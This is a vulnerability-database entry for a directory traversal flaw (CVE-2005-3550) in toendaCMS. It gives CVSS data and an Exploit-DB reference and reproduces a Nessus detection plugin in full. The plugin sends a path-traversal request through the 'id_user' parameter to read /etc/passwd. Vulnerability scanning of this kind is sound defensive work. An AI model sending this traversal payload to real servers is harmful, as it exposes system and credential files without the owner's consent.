Vulnerabilities > CVE-2005-3550 - Directory Traversal vulnerability in toendaCMS

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
PARTIAL
Availability impact
NONE
network
low complexity
toenda-software-development
nessus
exploit available

Summary

Directory traversal vulnerability in admin.php in toendaCMS before 0.6.2 allows remote attackers to access arbitrary files via a .. (dot dot) in the id_user parameter.

Vulnerable Configurations

Part Description Count
Application
Toenda_Software_Development
1

Exploit-Db

descriptiontoendaCMS 0.6.1 Admin.PHP Directory Traversal Vulnerability. CVE-2005-3550 . Webapps exploit for php platform
idEDB-ID:26480
last seen2016-02-03
modified2005-11-07
published2005-11-07
reporterBernhard Mueller
sourcehttps://www.exploit-db.com/download/26480/
titletoendaCMS 0.6.1 Admin.PHP Directory Traversal Vulnerability

Nessus

NASL familyCGI abuses
NASL idTOENDACMS_0621.NASL
descriptionThe remote host is running toendaCMS, a content management and weblogging system written in PHP. The version of toendaCMS installed on the remote host allows an unauthenticated attacker to read arbitrary files by manipulating the
last seen2020-06-01
modified2020-06-02
plugin id20168
published2005-11-08
reporterThis script is Copyright (C) 2005-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/20168
titletoendaCMS < 0.6.2.1 Multiple Vulnerabilities
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description) {
  script_id(20168);
  script_version("1.17");

  script_cve_id("CVE-2005-3550", "CVE-2005-3551", "CVE-2005-4422");
  script_bugtraq_id(15348, 15351);

  script_name(english:"toendaCMS < 0.6.2.1 Multiple Vulnerabilities");
  script_summary(english:"Checks for multiple vulnerabilities in toendaCMS < 0.6.2.1");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by
multiple vulnerabilities." );
 script_set_attribute(attribute:"description", value:
"The remote host is running toendaCMS, a content management and
weblogging system written in PHP. 

The version of toendaCMS installed on the remote host allows an
unauthenticated attacker to read arbitrary files by manipulating the
'id_user' parameter of the 'engine/admin/admin.php' script.  In
addition, it stores account and session data files in XML mode without
protection under the web root; an attacker can download these and gain
access to sensitive information such as password hashes.  Finally, if
an attacker gains administrative access, he can upload files with
arbitrary PHP code through the gallery scripts and execute them
subject to the privileges of the web server user id." );
 script_set_attribute(attribute:"see_also", value:"https://www.sec-consult.com/files/20051107-0_toendacms_multiplevulns.txt" );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/415975/30/0/threaded" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to toendaCMS version 0.6.2.1 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2005/11/08");
 script_cvs_date("Date: 2018/11/15 20:50:19");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 
  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");
 
  script_copyright(english:"This script is Copyright (C) 2005-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded: 0);
if (!can_host_php(port:port)) exit(0);


# Loop through directories.
foreach dir (cgi_dirs()) {
  # Try to exploit one of the flaws to read /etc/passwd.
  w = http_send_recv3(method:"GET", 
    item:string(
      dir, "/engine/admin/admin.php?",
      "id_user=../../../../../../../../../etc/passwd"
    ), 
    port:port
  );
  if (isnull(w)) exit(1, "the web server did not answer");
  res = w[2];

  # There's a problem if...
  if (
    # it looks like toendaCMS and...
    egrep(pattern:"<title>.*toendaCMS", string:res) &&
    # there's an entry for root.
    egrep(pattern:"root:.*:0:[01]:", string:res)
  ) {
    if (report_verbosity > 0) {
      contents = strstr(res, "../../data/tcms_user/");
      if (contents) {
        contents = contents - strstr(contents, ".xml");
        contents = contents - "../../data/tcms_user/";
      }
      else contents = res;
      contents = data_protection::redact_etc_passwd(output:contents);
      report = string(
        "\n",
        contents
      );
      security_warning(port:port, extra:report);
    }
    else security_warning(port);
    exit(0);
  }
}